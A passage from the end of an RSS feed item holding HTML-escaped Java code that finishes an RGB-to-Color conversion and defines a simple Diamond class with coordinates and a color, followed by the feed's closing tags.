		int blue = rgb &amp; 0xFF;<br />
		return new Color(red, green, blue);<br />
	}<br />
	<br />
	<br />
}<br />
<br />
<br />
class Diamond{<br />
	public int x;<br />
	public int y;<br />
	public Color color;<br />
	<br />
	Diamond(int x, int y, Color color){<br />
		this.x = x;<br />
		this.y = y;<br />
		this.color = color;<br />
	}<br />
	<br />
<br />
}<br />
</code></pre></div></div>]]></content:encoded>
		</item>
	</channel>
</rss>